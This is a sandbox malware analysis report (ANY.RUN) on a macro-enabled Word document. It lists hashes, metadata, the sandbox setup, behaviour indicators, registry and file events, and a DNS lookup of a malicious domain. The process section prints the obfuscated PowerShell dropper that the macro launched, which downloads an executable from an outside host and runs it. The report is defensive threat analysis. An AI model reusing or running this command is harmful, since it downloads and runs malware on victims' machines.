Malware analysis 6f3badceca5e4efea401c34134544d73f19a79f7ffb1401c66e795e5181624ec Malicious activity

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File name:	6f3badceca5e4efea401c34134544d73f19a79f7ffb1401c66e795e5181624ec
Full analysis:	https://app.any.run/tasks/bbe06f80-cb02-447e-8ab7-c827ebc520f7
Verdict:	Malicious activity
Analysis date:	July 18, 2019, 06:27:34
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open generated-doc
Indicators:
MIME:	application/msword
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Title: , Author: dood, Template: Normal.dotm, Last Saved By: Admin, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:00, Create Time/Date: Wed Jan 16 10:16:00 2019, Last Saved Time/Date: Wed Jan 16 10:16:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0
MD5:	D7F30FA3CCF4F3CE1C7D89564C0EDF5F
SHA1:	43A1E499C7D1F6E1A0D723E179D51E8AF83994EA
SHA256:	6F3BADCECA5E4EFEA401C34134544D73F19A79F7FFB1401C66E795E5181624EC
SSDEEP:	3072:8TTwHo66OblnBQMFCESpcSO6iNAATCdOSrv5:LHXRblnBvFCESpcSz

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (75.0.3770.100)
Google Update Helper (1.3.34.7)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.7.2 (4.7.03062)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.21.27702 (14.21.27702.2)
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.21.27702 (14.21.27702)
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.21.27702 (14.21.27702)
Mozilla Firefox 67.0.4 (x86 en-US) (67.0.4)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
Update for Microsoft .NET Framework 4.7.2 (KB4087364) (1)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB4019990
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Executes PowerShell scripts
  - WINWORD.EXE (PID: 3528)
- Unusual execution from Microsoft Office
  - WINWORD.EXE (PID: 3528)
SUSPICIOUS
- Creates files in the Windows directory
  - powershell.exe (PID: 1692)
- Removes files from Windows directory
  - powershell.exe (PID: 1692)
- Creates files in the user directory
  - powershell.exe (PID: 1692)
INFO
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 3528)
- Creates files in the user directory
  - WINWORD.EXE (PID: 3528)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.doc	\|	Microsoft Word document (54.2)
.doc	\|	Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title:
Subject:	-
Author:	dood
Keywords:	-
Template:	Normal.dotm
LastModifiedBy:	Admin
RevisionNumber:	2
Software:	Microsoft Office Word
TotalEditTime:	1.0 minutes
CreateDate:	2019:01:16 10:16:00
ModifyDate:	2019:01:16 10:16:00
Pages:	1
Words:	-
Characters:	1
Security:	None
CodePage:	Windows Cyrillic
Company:	home
Lines:	1
Paragraphs:	1
CharCountWithSpaces:	1
AppVersion:	16
ScaleCrop:	No
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
TitleOfParts:
HeadingPairs:	Название 1
CompObjUserTypeLen:	32
CompObjUserType:	???????? Microsoft Word 97-2003

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

1692

powershell $bHzZ8j = '$bILM07V = 30936.458089142new30936.458089142-obj30936.458089142ect net30936.458089142.web30936.458089142cli30936.458089142ent; $bILM07V.dow30936.458089142nlo30936.458089142a30936.458089142dfi30936.458089142le(\"h30936.458089142t30936.458089142t30936.458089142p://help.postsupport.net/qwydbbcdu.png?bg=sp20\", \"c:\win30936.458089142dows\t30936.458089142emp\put30936.458089142ty.ex30936.458089142e\"); 30936.458089142s30936.458089142tar30936.458089142t-p30936.458089142ro30936.458089142ces30936.458089142s \"c:\windo30936.458089142ws\temp\p30936.458089142utt30936.458089142y.ex30936.458089142e\";'.replace('30936.458089142', $MNA1S2zrx);iex($bHzZ8j);

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

—

WINWORD.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

3528

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\6f3badceca5e4efea401c34134544d73f19a79f7ffb1401c66e795e5181624ec.doc"

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Word

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

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Total events

1 317

Read events

857

Write events

455

Delete events

Modification events


(PID) Process:	(3528) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	4%
Value: 7F342500C80D0000010000000000000000000000
(PID) Process:	(3528) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(3528) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(3528) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	WORDFiles
Value: 1324482590
(PID) Process:	(3528) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1324482704
(PID) Process:	(3528) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1324482705
(PID) Process:	(3528) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:	write	Name:	MTTT
Value: C80D00006A261AEC313DD50100000000
(PID) Process:	(3528) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	85%
Value: 38352500C80D000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(3528) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	delete value	Name:	85%
Value: 38352500C80D000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(3528) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
3528	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVRD07F.tmp.cvr		—
		MD5:—	SHA256:—
1692	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DNX0RX326AQHGN8DJMFB.temp		—
		MD5:—	SHA256:—
1692	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—
3528	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\~$3badceca5e4efea401c34134544d73f19a79f7ffb1401c66e795e5181624ec.doc		pgc
		MD5:—	SHA256:—
1692	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF17d987.TMP		binary
		MD5:—	SHA256:—
3528	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm		pgc
		MD5:—	SHA256:—
3528	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd		tlb
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

No HTTP requests

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

No data

DNS requests

Domain	IP	Reputation
help.postsupport.net	—	malicious

Threats

No threats detected

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No debug info

General Info

6f3badceca5e4efea401c34134544d73f19a79f7ffb1401c66e795e5181624ec

D7F30FA3CCF4F3CE1C7D89564C0EDF5F

43A1E499C7D1F6E1A0D723E179D51E8AF83994EA

6F3BADCECA5E4EFEA401C34134544D73F19A79F7FFB1401C66E795E5181624EC

3072:8TTwHo66OblnBQMFCESpcSO6iNAATCdOSrv5:LHXRblnBvFCESpcSz

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Executes PowerShell scripts

Unusual execution from Microsoft Office

SUSPICIOUS

Creates files in the Windows directory

Removes files from Windows directory

Creates files in the user directory

INFO

Reads Microsoft Office registry keys

Creates files in the user directory

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings